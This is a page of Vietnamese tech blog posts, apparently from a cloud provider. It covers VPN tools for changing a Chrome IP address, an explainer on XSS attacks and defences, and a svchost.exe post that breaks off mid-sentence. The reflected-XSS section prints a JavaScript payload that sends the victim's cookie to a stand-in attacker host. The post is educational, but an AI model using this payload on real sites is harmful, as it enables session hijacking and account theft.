Blogs Tech

Fake IP Chrome là gì? 10+ phần mềm Fake IP Chrome tốt nhất

17:21 09/03/2022
Fake IP Chrome là thủ thuật được nhiều người dùng sử dụng. Trước xu hướng thu thập thông tin cá nhân tràn lan, người dùng nên tự bảo vệ mình bằng cách Fake IP khi lướt web qua trình duyệt Chrome. Vậy cách Fake IP trên Chrome có khó không? Có những phần mềm Fake IP nào tốt?  Định nghĩa IP IP (Internet Protocol) hiểu đơn giản là địa chỉ hoặc giao thức internet. IP bao gồm một dãy số ngắn ứng dụng trên thiết bị điện tử. Nhằm mục đích nhận diện, liên hệ qua giao thức internet. [caption id="attachment_22304" align="aligncenter" width="800"] Mỗi thiết bị kết nối internet chúng ta đang dùng đều có một địa chỉ IP riêng[/caption] Như vậy, mỗi thiết bị kết nối internet chúng ta đang dùng đều có một địa chỉ IP riêng. Nếu không có IP, thiết bị của bạn hoàn toàn không thể giao tiếp với những thiết bị khác trong mạng internet. Fake IP Chrome là gì?  Hiện nay, Chrome vẫn là trình duyệt phổ biến nhất. Mặc dù sở hữu đông đảo người dùng nhưng Chrome lại tồn tại không ít vấn nạn bảo mật. Nó khiến người dùng khó truy cập đến một vài website bằng trình duyệt Chrome. [caption id="attachment_22308" align="aligncenter" width="800"] Fake IP Chrome chính là việc thay đổi địa chỉ IP của người dùng khi truy cập internet[/caption] Thực hiện Fake IP Chrome sẽ giúp người dùng dễ dàng truy cập vào các trang web bị chặn. Đồng thời bảo mật thông tin cá nhân tốt hơn.  Nói chung, bạn chỉ cần hiểu rằng Fake IP Chrome chính là việc thay đổi địa chỉ IP của người dùng trong quá trình truy cập mạng thông qua trình duyệt Chrome. Quá trình chuyển đổi IP thường thực hiện thông qua VPN. >>> Có thể bạn quan tâm: XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS Vì sao nên Fake IP cho Chrome? Trước vấn nạn thu thập thông tin cá nhân ngày càng phổ biến trên môi trường internet, bạn nên tìm cách tự bảo vệ mình. Fake IP Chrome được xem như giải pháp lý tưởng dùng internet. [caption id="attachment_22314" align="aligncenter" width="800"] Fake IP Chrome hạn chế tình trạng thu thập thông tin cá nhân trái phép của người dùng[/caption] Theo đó, việc thay đổi địa chỉ IP cho phép bạn truy cập ẩn danh trên trình duyệt Chrome. Lúc này, bạn có thể thoải mái lướt web mà không cần lo lắng thông tin cá nhân sẽ bị thu thập trái phép. Ngoài ra, Fake IP trên trình duyệt Chrome, còn cải thiện tính bảo mật trên web. Không những vậy, người dùng còn có thể vượt tường lửa, truy cập thuận lợi và các trang web bị chặn.  Trong quá trình truy cập ẩn danh, người dùng không khó khăn để chặn quảng cáo. Thậm chí, đôi khi người dùng sẽ tiếp cận được cả với hình thức kiếm tiền online mới. Top 10+ phần mềm Fake IP Chrome tốt nhất  Cách đơn giản nhất để fake IP Chrome với người dùng cá nhân sử dụng một phần mềm chuyên dụng. Đây là những phần mềm để cài đặt, sử dụng đơn giản.  Hola VPN Phần mềm Hola VPN hoạt động tốt trên cả trình duyệt Chrome, Mozilla Firefox và Microsoft Edge. Đặc biệt, ứng dụng này hoàn toàn miễn phí, hỗ trợ người dùng truy cập các trang web bị chặn IP chỉ với một thao tác click chuột.  [caption id="attachment_22318" align="aligncenter" width="800"] Hola VPN hoàn toàn miễn phí, hỗ trợ người dùng truy cập các trang web bị chặn IP[/caption] Ưu điểm nổi bật của Hola VPN là cho phép người dùng Fake IP theo từng thao tác cụ thể. Thay vì thay đổi đồng loạt như phần lớn các ứng dụng Fake IP Chrome khác. Adguard VPN  Adguard VPN là một trong những phần mềm hỗ trợ chặn quảng cáo khi truy cập internet tốt nhất hiện nay. Mới đây, Adguard bắt đầu cung cấp dịch vụ VPN miễn phí. Khi cần sử dụng, người dùng chỉ cần đăng nhập Gmail. [caption id="attachment_22322" align="aligncenter" width="800"] Adguard VPN - phần mềm hỗ trợ chặn quảng cáo[/caption] Ưu điểm của Adguard làm ở tính đơn giản, thuận tiện sử dụng. Phần mềm Adguard VPN hỗ trợ người dùng Fake IP một số quốc gia, tập trung nhiều nhất là ở các bang tại Hoa Kỳ. Nếu đã khởi động Adguard, toàn bộ trang web bạn truy cập đều đồng loạt áp dụng IP Fake. Trường hợp muốn thiết lập từng trang web, bạn hãy truy cập vào phần tính năng cơ bản để điều chỉnh.   Hotspot Shield VPN   Hotspot Shield VPN - một trong những ứng dụng Fake IP Chrome được đánh giá cao nhất. Hiện tại, Hotspot Shield thu hút trên 2.5 triệu người dùng tải về hoặc tích hợp tại mục mở rộng của Chrome. [caption id="attachment_22326" align="aligncenter" width="800"] Hotspot Shield VPN - ứng dụng Fake IP Chrome được đánh giá cao nhất[/caption] Phần mềm Hotspot Shield cho phép người dùng thiết lập một cách đơn giản. Tính năng chặn WebRTC sẽ trạng tình trạng rò từ IP, chặn quảng cáo và các phần mềm độc hại xâm nhập vào thiết bị. SaferVPN SaferVPN phù hợp với người dùng yêu thích sự đơn giản. Bởi chỉ sau 1 click chuột, bạn đã kết nối được với phần mềm, thực hiện thiết cơ bản. Ứng dụng cung cấp đầy đủ tính năng cơ bản cho phép người lướt web thoải mái, không lo bị lộ thông tin. [caption id="attachment_22330" align="aligncenter" width="800"] SaferVPN cung cấp đầy đủ tính năng cơ bản cho phép người lướt web thoải mái[/caption] Hiện tại một vài ghi là vấn đề vấn đề bảo mật nhưng người ta vẫn chưa có bằng chứng xác thực SaferVPN mã hóa dữ liệu của hệ thống hay không. Nhìn chung, SaferVPN vẫn là phần mềm Fake IP Chrome tiện lợi, phù hợp với phần đông người dùng. ExpressVPN  ExpressVPN cấp quyền để người dùng kiểm soát toàn bộ nội dung kết nối, cần thực hiện điều hướng rời khỏi trình duyệt. Không giống với phần lớn dịch vụ VPN khác, phần mềm ExpressVPN có khả năng mã hóa toàn bộ dữ liệu truyền qua mạng của người dùng. [caption id="attachment_22334" align="aligncenter" width="800"] ExpressVPN cấp quyền để người dùng kiểm soát toàn bộ nội dung kết nối[/caption] Mặt khác, ExpressVPN còn được tích hợp chức năng fake vị trí địa lý của người dùng. Sau đó, cấp quyền truy cập cho người dùng đến trang web bị chặn mà không hề tác động gì đến tính ẩn danh. ExpressVPN cho người dùng dịch vụ bảo mật trực tuyến mạnh mẽ, không giới hạn băng thông, tùy chọn trên 3.000 máy chủ trên khắp thế giới. Đây chính là điểm mạnh của ExpressVPN khiến người dùng tin tưởng sử dụng. Ultrasurf  Ultrasurf chuyên hỗ trợ người dùng vượt tường lửa, Fake IP Chrome rất dễ dàng truy cập vào nhiều website bị chặn. Dung lượng của phần mềm này tương đối nhẹ, chứ ít quảng cáo, cách thức sử dụng đơn giản. Hiện tại, Ultrasurf sở hữu thị phần khá lớn tại thị trường VNP Việt Nam. Freegate  [caption id="attachment_22338" align="aligncenter" width="800"] Freegate - một trong các phần mềm vượt tường lửa miễn phí, đáng sử dụng[/caption] Freegate cũng là một trong các phần mềm vượt tường lửa miễn phí, đáng sử dụng. Với phần mềm này, bạn hoàn toàn không khó khăn để truy cập các trang web giới hạn truy cập. Tính năng nổi bật của Freegate phải kể đến như: Thay đổi địa chỉ IP một cách tự động Củng cố bảo mật địa chỉ IP thật của người dùng  Tạo mạng lưới IP giả Chức năng chuyển đổi proxy cực nhanh  Xóa lịch sử truy cập của người dùng, hạn chế tình trạng thu thập thông tin trái phép  >>> Có thể bạn quan tâm: Mã hóa là gì? Vai trò và Các loại mã hóa phổ biến nhất DNS Jumper  DNS Jumper - tiện ích Fake IP Chrome dung lượng nhẹ, không yêu cầu người dùng phải cài đặt. Phần mềm này tích hợp chức năng thay đổi DNS cực nhanh. Theo đó, chỉ với một cú click chuột bạn đã chuyển đổi khi thành công DNS sang server Google, Ultra DNS. [caption id="attachment_22342" align="aligncenter" width="800"] DNS Jumper - tiện ích Fake IP Chrome dung lượng nhẹ[/caption] Bên cạnh đó, ứng dụng DNS Jumper cũng tích hợp chức năng kiểm soát trang web đều. Đây là tính năng cực kỳ hữu ích nếu bạn để thiết bị cho con em sử dụng thường xuyên. ZenMate VPN [caption id="attachment_22346" align="aligncenter" width="800"] ZenMate VPN - lựa chọn lý tưởng khi người dùng cần Fake IP Chrome[/caption] ZenMate VPN - lựa chọn lý tưởng khi người dùng cần Fake IP Chrome. Dưới đây là một số tính năng chính của phần mềm: Hỗ trợ truy cập vào website bị chặn Tích hợp nhiều chức năng bảo mật (ngăn chặn WebRTC, NATFirewall, mã hóa không để rò rỉ thông tin). Chức năng AlwaysOn đảm bảo kết nối an toàn, không để lộ thông tin cá nhân người dùng. Bản trả phí của ZenMate VPN tương đối rẻ, cải thiện tốc độ truy cập, số lượng server không giới hạn trên khắp thế giới. Ở phiên bản trả phí, người dùng có thể liên kết nhiều nhất năm thiết bị trên cùng một tài khoản. Khi mới cài đặt, bạn sẽ được dùng thử miễn phí trong 7 ngày. Real Hide IP Phần mềm Real Hide IP giúp người dùng dễ dàng truy cập website bị chặn thông qua phương thức nội địa chỉ IP sang một quốc gia khác. Quy trình chuyển đổi địa chỉ IP thật và địa chỉ IP giả diễn ra cực nhanh, đảm bảo tuyệt mật thông tin riêng tư của người dùng. [caption id="attachment_22350" align="aligncenter" width="800"] Real Hide IP hỗ trợ chuyển đổi IP cực nhanh[/caption] Real Hide IP tương thích với hầu hết những trình duyệt phổ biến hiện nay như Google Chrome, Mozilla Firefox,.. Fake IP Chrome đơn giản là việc giả địa chỉ IP cho phép người dùng truy cập vào các website bị chặn. Ngoài ra khi giả địa chỉ IP, thông tin cá nhân người dùng sẽ ẩn hoàn toàn, hạn chế tình trạng truy cập trái phép. Mong rằng top 10+ phần mềm Fake IP Chrome trên đây đã giúp bạn có thêm lựa chọn khi cần Fake IP!   Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS

17:14 09/03/2022
XSS luôn được xem là nỗi đau đầu đối với dân IT hiện nay khi nhắc đến vấn đề lỗ hổng bảo mật. Vậy bạn đã hiểu rõ được cụ thể XSS là gì hay chưa? Làm sao để có thể bảo vệ hệ thống dữ liệu trước sự tấn công của XSS? Để có đáp án cho câu hỏi này bạn hãy cùng FPTCloud để tìm đáp án cụ thể. Lỗ hổng XSS là gì?  XSS là gì? Thực tế đây là từ được viết tắt từ cụm tiếng Anh Cross Site Scripting. Bản chất đây là một trong các loại tấn công bảo mật phổ biến và thường xuyên xảy ra nhất ở hệ thống web mà hầu hết các tester có kinh nghiệm đều biết đến.  [caption id="attachment_22248" align="aligncenter" width="771"] Tìm hiểu lỗ hổng XSS là gì[/caption] XSS được đánh giá là một trong những loại tấn công bảo mật khá nguy hiểm đối với các ứng dụng web. Thậm chí nó còn được xem là có thể gây ra những hậu quả cực kỳ nghiêm trọng đối với hệ thống dữ liệu thông tin.  Hiểu một cách đơn giản hơn thì XSS là một đoạn mã độc mà Hacker chèn vào hệ thống. Cách thức  mà Hacker sử dụng là thông qua các đoạn Script và thực thi ăn cắp thông tin ở phía Client. Trong đó hầu hết các cuộc tấn công được sử dụng để vượt qua các truy cập, mạo danh người dùng để lấy cắp thông tin. Mục đích chính của quá trình tấn công chính là đánh cắp dữ liệu nhận dạng của người dùng. Bao gồm như Cookies, Session Tokens cùng các thông tin liên quan khác. Ở hầu hết các trường hợp tấn công này chủ yếu được sử dụng để ăn cắp Cookie của người khác. Mà như các bạn cũng biết Cookies giúp cho người dùng đăng nhập tự động. Do đó nếu như cookies bị đánh cắp đồng nghĩa với việc các hacker cũng có thể đăng nhập bằng thông tin nhận dạng khác vào hệ thống dư liệu. Chính vì thế đây được xem là cuộc tấn công nguy hiểm nhất ở những lỗ hổng hệ thống hiện nay. Các cuộc tấn công XSS diễn ra như thế nào? Tấn công XSS hiện nay đang được thực hiện ở phía Client. Kiểu tấn công này hoàn toàn có thể thực hiện với hầu hết các ngôn ngữ lập trình khác. Thế nhưng thường xuyên xảy ra nhất trong các cuộc tấn công vẫn là Javascript và HTML.Vậy cuộc tấn công diễn ra như thế nào? [caption id="attachment_22252" align="aligncenter" width="771"] Tìm hiểu cuộc tấn công XSS[/caption] Diễn biến cuộc tấn công Nhìn chung cách tấn công này thực tế có thể thực hiện thông qua nhiều cách khác nhau. Trong đó chủ yếu phụ thuộc vào các loại tấn công XSS. Những mã độc có thể phản chiếu ở các trình duyệt hệ thống hoặc là lưu trữ trong cơ sở dữ liệu. Mã đọc này sẽ  được vận hành một khi người dùng gọi chức năng thích hợp.  Nguyên nhân chính của tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu độc hại ở đầu vào có thể xâm lấn vào dữ liệu đầu ra. Mã độc có thể nhập một Script sau đó chèn vào mã nguồn website. Khi đó, trình duyệt của người dùng sẽ khó để biết mã thực thi có độc hay không. Vậy nên mã độc hại trong cuộc tấn công XSS có thể đang được thực thi trên trình duyệt nạn nhân hoặc thông qua bất cứ hình thức giả nào đang được hiển thị mà mọi người không biết. Các hình thức tấn công cơ bản Hiện nay trên thực tế có rất nhiều hình thức tấn công XSS có thể xuất hiện để đánh cắp thông tin, dữ liệu. Trong đó bạn có thể tham khảo một số hình thức phổ biến nhất của XSS như sau: Cuộc tấn công có thể xảy ra ở trên các lệnh độc hại đã được thực hiện ở Client Những trang web hay form giả mạo hiển thị cho người dùng. Cụ thể là những nơi mà người dùng nhập thông tin để đăng nhập hoặc là nhấp vào các liên kết đọc hại không rõ.  Quảng cáo được hiển thị ở các trang web mà mọi người truy cập vào.  Những email chứa thành phần độc hại gửi đến cho người dùng. Các cuộc tấn công XSS sẽ xảy ra một khi tin tặc tìm kiếm những lỗ hổng có Websie và gửi nó làm đầu vào độc hại Lúc này các tập lệnh độc hại sẽ tiêm vào mã lệnh và gửi đi dưới dạng đầu ra cho các đối tượng người dùng cuối cùng.  … [caption id="attachment_22256" align="aligncenter" width="771"] Tấn công XSS hiện nay cũng có độ phổ biến không nhỏ[/caption] Ví dụ cụ thể Bạn có thể tìm hiểu chi tiết qua ví dụ phân tích cụ thể. Ví dụ chúng ta có 1 trang web với trường Search. Nếu trường Search là trường có lỗ hổng vậy thì khi người dùng nhập bất kỳ một đoạn Script thì có sẽ được thực thi.  Ví dụ như người dùng nhập đoạn Script đơn giản như hình đây. Một khi nhấn nút “Search” Script được nhập sẽ được thực hiện.  [caption id="attachment_22260" align="aligncenter" width="771"] Hình minh họa[/caption] Như bạn có thể thấy trong ví dụ, Script đã nhập vào trường Search được thực thi. Điều này cho thấy lỗ hổng trong cuộc tấn công XSS. Thế nhưng một tập lệnh có hại hơn cũng được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting Javascrip Injection cũng được thực hiện ở Client. Trong cả 2, những Script tấn công độc hại sẽ được tiêm vào. Song trường hợp tấn công XSS các thẻ script không cần thiết để thực thi script. >>> Có thể bạn quan tâm: Mã hóa là gì? Vai trò và Các loại mã hóa phổ biến nhất 3 Xu hướng tấn công XSS thường gặp Như cũng đã nói trên cách tấn công của XSS phụ thuộc vào các loại tấn công cụ thể. Và theo như phân tích hiện nay XSS thực tế gồm 3 loại tấn công phổ biến. Vậy các loại tấn công XSS là gì? Chi tiết đã được phân tích như sau: Tấn công Reflected XSS Một thực tế cho thấy có rất nhiều hướng khác nhau để khai thác thông tin, dữ liệu thông qua lỗi Reflected XSS.  Đây cũng là một trong số các cách được sử dụng phổ biến để chiếm phiên việc làm (Session) của người dùng. Thông qua đây các Hacker có thể truy cập được vào dữ liệu dễ dàng để chiếm quyền của người dùng trên các website. Chi tiết quá trình như sau: Người dùng sẽ đăng nhập vào trang web. Giả sử trang web được gán session như sau “Set-Cookie:sesld=5e2c648fa5ef8d653adeede585dcde6f638639e4e59d4” Bằng một cách nào đó, gửi đến cho người dùng một Url nhất định. Trong đó Url chứa tên website mà nạn nhân truy cập và phía sau kèm theo trang của hacker tạo ra với tên gọi là hacker-site.net. Ví dụ như https://abcd.com/……….=”http://hacker-site.net/ Một khi người dùng nhập vào url được gửi, server hệ thống sẽ ngay lập tức phản hồi cho người dùng kèm theo những dữ liệu có trong đoạn Javascript của hacker. Lúc này trình duyệt của nạn nhân bắt đầu phản hồi và thực thi đoạn Javascript. Đoạn  Javascript được hacker tạo ra đa phân sẽ có dạng như sau: var i =new Image;i.src=”http://hacker-site.net/” +document.cookie; Các dòng lệnh trên thực tế thực hiện request đến site hacker với tham số cookie người dùng.  Cùng ở phía site của mình Hacker sẽ nắm bắt được những nội dung cụ thể mà bản thân request được ở trên. Vậy là xem như các session của người dùng đã bị chiếm đóng. Lúc này các hacker hoàn toàn có thể giả mạo tư cách người dùng để thực hiện quyền truy cập vào website mà người dùng đang có. [caption id="attachment_22264" align="aligncenter" width="771"] Quy trình tấn công của Reflected XSS[/caption] Tấn công Stored XSS Không giống như cuộc tấn công Reflected XSS thực hiện công cuộc tấn công trực tiếp tới hệ thống của một người dùng mà hacker đã nhắn đến. Stored XSS là loại tấn công sẽ thực hiện trấn áp đến nhiều hệ thống người dùng. Lỗi này không hết sẽ xảy ra  ở trường hợp ứng dụng web không được thực hiện kiểm tra kỹ lưỡng những dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu. Ví dụ như đối với những form góp ý hay các comment,.... xuất hiện trên website.  Diễn biến cuộc tấn công Đối với loại tấn công Stored các hacker thực tế không thể khai thác trực tiếp mà phải tuân thủ tối thiểu qua 2 bước như sau:  Đầu tiên Hacker thông qua các điểm đầu vào như form, input, textarea,... không được thực hiện kiểm tra kỹ lưỡng để chèn vào các đoạn mã nguy hiểm.  [caption id="attachment_22268" align="aligncenter" width="771"] Chèn mã độc nguy hiểm[/caption] Sau đó người dùng thực hiện lệnh truy cập vào các ứng dụng web. Một khi người dùng tiến hành những thao tác có liên quan đến dữ liệu được lưu này thì các đoạn mã của Hacker sẽ được thực thi. Quá trình thực thi sẽ được thực hiện trên trình duyệt của người dùng đang sử dụng.   [caption id="attachment_22272" align="aligncenter" width="771"] Kịch bản khai thác[/caption] So với Reflected XSS thì Stored XSS được đánh giá là nguy hiểm hơn rất nhiều. Đối tượng bị ảnh hưởng có thể là tất cả những người sử dụng ứng dụng web đó. Trong trường hợp nếu nạn nhân là quản trị viên thì còn có nguy cơ bị chiếm quyền vận hành web Sự khác biệt của loại tấn công Stored XSS và Reflected XSS Đối với hai loại tấn công này thực tế có 2 sự khác biệt lớn trong quá trình thực hiện tấn công xâm nhập dữ liệu.  Chi tiết như sau: Các hacker để khai thác được Reflected XSS Thì phải lừa được người dùng truy cập vào đường dẫn mà mình đã gửi.  Còn đối với Stored XSS không cần phải mất thời gian thao tác đó mà sau khi đã chèn được mã độc hại vào cơ sở dữ liệu ứng dụng hacker chỉ cần đời người dùng tự động truy cập. Đối với người dùng thì đây là việc hết sức bình thường bởi vì họ thực tế không biết việc dữ liệu của mình đã bị nhiễm mã độc.  Hầu hết mục tiêu chính của hacker là làm cách nào để lấy được các dữ liệu thông tin. Trong đó mục tiêu này sẽ dễ dàng hơn nếu ở thời điểm tấn công người dùng trong quá trình làm việc của ứng dụng website. Đối với Reflected XSS thì hacker có thể thuyết phục, lừa người dùng đăng nhập rồi truy cập vào đường dẫn đã cung cấp. Tuy nhiên với Stored XSS thì khác. Bởi vì độc hại đã được lưu ở trong cơ sở dữ liệu website nên bất kỳ khi nào người dùng truy cập đều sẽ làm cho mã độc thực thi. Đồng thời có khả năng yêu cầu người dùng xác nhận trước khi đăng nhập. nhập Tấn công DOM Based XSS Một loại hình tấn công tới cơ sở dữ liệu có phổ biến không kém đó chính là DOM Based XSS. Vậy bản chất DOM Based XSS là gì? Đây được xem là kỹ thuật khai thác XSS dựa vào cơ sở thay đổi những cấu trúc DOM của tài liệu. Cụ thể chính là HTML.  Giả sử như một website có đường dẫn đăng ký và khi truy cập vào  sẽ thấy một form bình thường. Lúc này người dùng sẽ không có chút nghi ngờ gì mà lựa chọn điền các thông tin như được yêu cầu. Thế nhưng Script sẽ  ngay lập tức thực thi vào cơ sở dữ liệu, thông tin hệ thống đã bị hack. Chỉ cần mẹo đơn giản là áp dụng DOM Based XSS các hacker đã có thể nhanh chóng xâm nhập vào hệ thống để chiếm đoạt  thông tin mà họ cần.  Vậy nên DOM Based XSS cũng được xếp vào dạng hình thức tấn công vô cùng nguy hiểm hiện nay. Chi tiết hơn bạn có thể tham khảo qua kịch bản tấn công được mô phỏng theo hình dưới đây. [caption id="attachment_22276" align="aligncenter" width="771"] Kịch bản tấn công Dom Based XSS[/caption] Cách kiểm tra và ngăn chặn các đợt tấn công XSS XSS thường xuyên tấn công người dùng dưới dạng âm thầm mà không hề hay biết. Thế nhưng bạn hoàn toàn có thể áp dụng các cách kiểm tra cụ thể hoặc sử dụng chiến thuật ngăn chặn các đợt tấn công. Vậy bạn còn chờ gì mà không nhanh tay ghi chép ngay cho mình các thông tin thiết yếu sau đây: Cách phát hiện Để có thể biết liệu các hacker có tấn công XSS vào hệ thống cơ sở dữ liệu hay không bạn hãy áp dụng cách kiểm tra thử hộp đen trước. Với cách này bạn có thể hiểu là chúng ta sẽ thực hiện test mà không cần xem xét đến code. Tất nhiên việc kiểm tra code luôn được các chuyên gia khuyến khích vì nó mang đến kết quả khả quan và đáng tin cậy hơn. Trong quá trình kiểm tra thử, các tester  nên nên xem xét những phần nào của website có nguy cơ bị tấn công bởi XSS. Bạn cũng nên liệt kê toàn bộ những nghi ngờ đó thành một tài liệu kiểm thử để giảm thiểu tình trạng bị thiếu sót. Sau đó, các tester hãy lập một bảng kế hoạch để xác định liệu Script nào thực sự cần thực hiện kiểm tra nhất. Trong đó điều quan trọng là kết quả liệu có ý nghĩa gì, ứng dụng ấy dễ bị lỗ hổng hay không và cần được phân tích kết quả sao cho kỹ càng nhất.  [caption id="attachment_22280" align="aligncenter" width="771"] Bạn hoàn toàn có thể phát hiện lỗ hổng tấn công XSS[/caption] Trong khi thực hiện kiểm tra thử nghiệm các cuộc tấn công bạn cần lưu ý kiểm tra xem nó đáp ứng như thế nào đối với những kịch bạn đã nhập? Liệu các kịch bản ấy có đang được thực thi không?  Cách ngăn chặn Có thể nhận định rằng XSS được xem là một dạng tấn công cơ sở dữ liệu khá nguy hiểm với nhiều rủi ro tiềm ẩn xảy ra nhất. Thế nhưng người dùng vẫn nên lập cho mình một kế hoạch cụ thể để ngăn ngừa tình trạng này xảy ra. Và thật may với độ phổ biến của các cuộc tấn công hiện đã có khá nhiều cách để ngăn chặn. Trong đó điển hình như Data Validation, Filtering, Escaping. Chi tiết như sau: Xác thực đầu vào  Đặc biệt công tác phòng chống tấn công đầu tiên bạn cần thực hiện đó là xác thực đầu vào. tất cả những gì được nhập bởi người dùng phải được xác minh chính xác. Bởi vì đầu vào sẽ tác động trực tiếp đến đầu ra. Việc xác thực này có thể được đặt tên làm cơ sở dữ liệu đồng thời đảm bảo về tính bảo mật của hệ thống dữ liệu đó. Tuy nhiên bạn nên lưu ý việc này cũng chỉ góp phần làm giảm thiểu được những rủi ro chứ không thể ngăn chặn triệt để các lỗ hổng mà sự tấn công XSS gây ra. [caption id="attachment_22284" align="aligncenter" width="771"] Nhằm giảm thiểu công cuộc tấn công bạn hãy xác thực đầu vào[/caption] Lọc đầu vào Một cách nữa bạn cũng có thể áp dụng để ngăn chặn quá trình tấn công XSS là lọc đầu vào của người dùng. Cách này bạn có thể hiểu là thực hiện tìm kiếm những từ khóa nguy hiểm ở mục nhập của người dùng. Sau đó bạn đem xóa chúng hoặc thực hiện các thao tác thay thế bằng chuỗi trống.  Các từ đó có thể sẽ là những thẻ như script hay lệnh javascript, đánh dấu HTML,... Việc lọc đầu vào của người dùng này thực tế cũng dễ thực hiện. Bạn hoàn toàn có thể áp dụng khoa nhiều cách khác nhau như:  Thực hiện bởi Developer đã viết mã phía server  Thông qua hệ thống thư viện ngôn ngữ lập trình thích hợp mà người dùng đang sử dụng. Trường hợp này nhìn chung một số Developer có thể viết mãi riêng của họ để tìm kiếm những từ khóa thích hợp và xóa chúng. Thế nhưng cách dễ dàng hơn mà các chuyên gia gợi ý là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào. Đây được xem là cách đáng tin cậy vì các thư viện đó thực tế đã được nhiều nhà phát triển áp dụng và thử nghiệm. Sử dụng các ký tự Escape  Ngoài ra để phòng ngừa quá trình tấn công của XSS bạn cũng có thể áp dụng các ký tự Escape. Và trong thực tế hiện nay thì đa phần những ký tự này đang được thay đổi bằng các mã đặc biệt. Ví dụ ký tự Escape giống như & # 60. Điều quan trọng là bạn làm sao để tìm kiếm các thư viện thích hợp với ký tự Escape.  [caption id="attachment_22288" align="aligncenter" width="771"] Bạn cung có thể áp dụng cách sử dụng ký tự Escape[/caption] >>> Có thể bạn quan tâm: Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt Mức độ nguy hiểm của XSS với Javascript Nhìn chung lỗ hổng bảo mật XSS được xem là ít nguy hiểm hơn so với lỗ hổng SQL Injection. Hậu quả của khả năng thực thi Javascript trên một nền tảng web ban đầu bạn nghĩ có vẻ không nghiêm trọng. Bởi vì hầu hết trình duyệt chạy Javascript trong môi trường được kiểm soát bảo mật chặt chẽ. Javascript bị giới hạn quyền truy cập tới hệ điều hành người dùng cùng các file dữ liệu người dùng. Mặc dù vậy nhưng Javascript vẫn có thể cực kỳ nguy hiểm nếu như nó bị lạm dụng trở thành các đoạn mã độc hại. Cụ thể như: Javascript độc hại có thể truy cập đến các đối tượng là phần còn lại của trang web có thể truy cập tới. Bao gồm cả việc truy cập tới Cookie người dùng. Nếu kẻ tấn công có được Session người dùng, họ có thể giả mạo danh tính người dùng thực sự. Sau đó họ thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó. Javascript có thể đọc DOM và tạo ra các chỉnh sửa tùy ý.  Javascript có thể sử dụng Object XMLHttRequest gửi truy vấn HTTP cùng các nội dung tùy ý tới các điểm đích. Javascript trong trình duyệt hiện đại có thể sử dụng HTML5 APIs. Điển hình như nó có thể truy cập đến vị trí của người dùng, webcam, microphone thậm chí là các file dữ liệu cụ thể ở hệ điều hành của người dùng. Hệ thống API đều yêu cầu cấp quyền truy cập từ người dùng nhưng những kẻ tấn công có thể dùng thêm các phương án như Social Engineering để tiến xa hơn.  XSS có phải vấn đề người dùng cần quan tâm? Nếu một kẻ tấn công lạm dụng lỗ hổng XSS trên bất kỳ trang web nào để thực thi mã Javascript tùy ý ở trình duyệt người dùng thì ứng dụng đó và người dùng đều bị xâm hại. XSS không phải là vấn đề của người dùng tương tự như những lỗ hổng bảo mật khác. Nếu nó tác động đến người dùng của bạn thì nó ảnh hưởng tới bạn.  [caption id="attachment_22292" align="aligncenter" width="771"] XSS thực tế rất nguy hiểm[/caption] Cross-site Scripting cũng được sử dụng để deface website thay vì nhắm đến mục tiêu người dùng. Kẻ tấn công dùng những đoạn mã injection để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt người dùng tới một website khác.  Trên đây là thông tin chi tiết giúp bạn giải đáp thắc mắc những vấn đề xung quanh về XSS. Hy vọng rằng qua đó bạn sẽ hiểu và áp dụng một cách hiểu quả những kiến thức gợi ý vào công việc trong thực tế để ngăn chặn sự tấn công từ XSS.   Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt

16:59 09/03/2022
Máy tính bị lag, bị treo và khi kiểm tra Task Manager thì thấy một loại tiến trình Svchost ngang nhiên chiếm dung lượng máy rất dễ xảy ra? Thực tế người dùng đã than thở không ít trên các trang cộng đồng chia sẻ thông tin. Hiểu được điều đó vậy nên FTP Cloud sẽ giải đáp giúp bạn Svchost là gì? Và cách xử lý cụ thể khi gặp trường hợp này. Bạn hãy tìm hiểu và note ngay vào sổ tay cho mình. Svchost là gì? Svchost.exe thực tế là một tiến trình hỗ trợ được cung cấp bởi Microsoft trong hệ điều hành Windows. Đây là một thành phần vô cùng quan trọng đối với một số Windows Service. thành phần này giữ vai trò là Host Service. Windows sử dụng Svchost.exe để nhóm Service cần truy cập vào cùng một DLL để chạy trong một tiến trình. Từ đó có thể giúp giảm nhu cầu về tài nguyên hệ thống.  [caption id="attachment_22112" align="aligncenter" width="771"] Tìm hiểu chi tiết Svchost là gì[/caption] Nói một cách dễ hiểu hơn thì khi máy tính Windows vận hành các chương trình như cập nhật Windows, tường lửa, kết nối mạng,...sẽ vận hành dưới nền máy tính. Mục đích là hoạt động ổn định nhất. Nếu để những chương trình này vận hành riêng lẻ thì sẽ làm hao hụt rất nhiều dung lượng bộ nhớ máy tính làm máy tính bị đơ, bị giật, lag.  Vậy nên để hạn chế điều này Microsoft đã lập nhóm các chương trình này lại với nhau một cách logic thành các tập tin Svchost.exe. Mỗi file như vậy sẽ phục vụ cho một dịch vụ cụ thể. Ví dụ như các tiến trình thuộc tường lửa sẽ nhóm lại thành file Svchost.exe, các tiến trình cập nhật windows cũng được tạo thành một Svchost.exe kacs,...Vì vậy mà nhiều lúc bạn mở thanh Task Manager bạn sẽ thấy rất nhiều tiến trình Svchost chạy cùng lúc.  Svchost.exe được đánh giá là một thành phần quan trọng trong hệ thống Windows. Do đó bạn không nên tự ý xóa hoặc cách ly file. Bạn chỉ thực hiện  khi bạn đã biết chắc chắn rằng file mà bạn đang xử lý là không cần thiết hoặc chứa yếu tố độc hại.  >>> Có thể bạn quan tâm: Lưu trữ đám mây là gì? TOP ứng dụng lưu trữ đám mây tốt nhất Các phần mềm cần sử dụng dịch vụ Svchost Về cơ bản quá trình Svchost.exe 